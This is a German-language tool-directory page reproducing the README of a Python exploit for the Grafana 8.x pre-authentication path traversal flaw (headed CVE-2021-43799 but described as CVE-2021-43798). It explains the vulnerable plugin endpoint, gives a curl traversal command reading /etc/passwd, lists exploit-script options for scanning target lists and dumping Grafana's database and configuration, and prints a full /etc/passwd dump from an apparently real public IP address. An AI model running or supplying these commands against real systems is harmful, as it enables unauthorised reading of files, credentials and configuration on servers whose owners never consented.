Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-43799 — Python-Exploit-Code | Kitploit
Tools/GitHubGitHub/scopion/cve-2021-43799
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsLernen & Bildung
GitHubscopion/cve-2021-43799

CVE-2021-43799

Python-Exploit-Code

Repository anzeigen
121vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-43798

Grafana 8.x Pfad-Traversal (Pre-Auth) Alle Credits gehen an j0v und seinen Tweet https://twitter.com/j0v0x0/status/1466845212626542607

Haftungsausschluss

Dies dient ausschließlich zu Bildungszwecken. Ich bin nicht verantwortlich für deine Handlungen. Verwende es auf eigenes Risiko. In gutem Glauben habe ich die Veröffentlichung dieses PoC zurückgehalten, bis diese Schwachstelle entweder öffentlich bekannt ist oder ein Patch verfügbar ist.

Inhaltsverzeichnis

  • Erklärung - Erläuterung der Schwachstelle
  • Angriffsvektoren - Liste der möglichen Angriffe
  • Exploit-Skript - Verwendung des Exploit-Skripts

Erklärung

Ich bemerkte einen Tweet von j0v, der behauptete, einen Grafana-Pfad-Traversal-Bug gefunden zu haben. Aus Neugier begann ich, den Grafana-Quellcode zu untersuchen. In dem Tweet wurde erwähnt, dass es sich um einen Pre-Auth-Bug handele. Es gibt nur wenige öffentliche API-Endpunkte in Grafana, und nur einer davon nahm einen Dateipfad vom Benutzer entgegen. Grafana hat einen öffentlichen API-Endpunkt, /public/plugins/:pluginId, der es erlaubt, die Assets eines Plugins anzusehen. Dies funktioniert, indem eine gültige :pluginId angegeben und dann der Dateipfad, z.B. img/logo.png, spezifiziert wird. Grafana versäumt es jedoch, den vom Benutzer bereitgestellten Dateipfad zu bereinigen, was zu einem Pfad-Traversal führt. Das zugegriffene Verzeichnis befindet sich unter . Bei einer Standardinstallation von Grafana ist das Grafana-Datenverzeichnis . Indem man 8 Verzeichnisse zurückgeht, kann man das Wurzelverzeichnis des Dateisystems erreichen. HTTP Request:

Tool herunterladen
<grafana>/public/app/plugins/panel/<pluginId>
/usr/share/grafana
root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Fehlerhafter Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284 Hinweis: Dies funktioniert nicht im Browser (der automatisch die ../ im Pfad zusammenführt) Es kann mit curl unter Verwendung des Arguments --path-as-is getestet werden:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Hilfe:

root@kitploit:~
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -l INPUT_LIST, --list INPUT_LIST
                        Input list of ip:port
  -db, --database       Dump db
  -cfg, --config        Dump config
  -c, --check           Enable output regex checking (Suppress false positives)
  -t TARGET, --target TARGET
                        Single target
  -f TARGET_FILE, --file TARGET_FILE
                        Remote target file
  -w WRITE_FILE, --write WRITE_FILE
                        Directory to write files to.
  -v, --verbosity       Verbosity

Eine Datei abrufen:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list

Datenbank auslesen:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -db

Konfiguration auslesen:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -cfg

Weitere Optionen:

Nur gültige Dateien ausgeben:

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin

Schreibe die Datei in das Verzeichnis files:

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files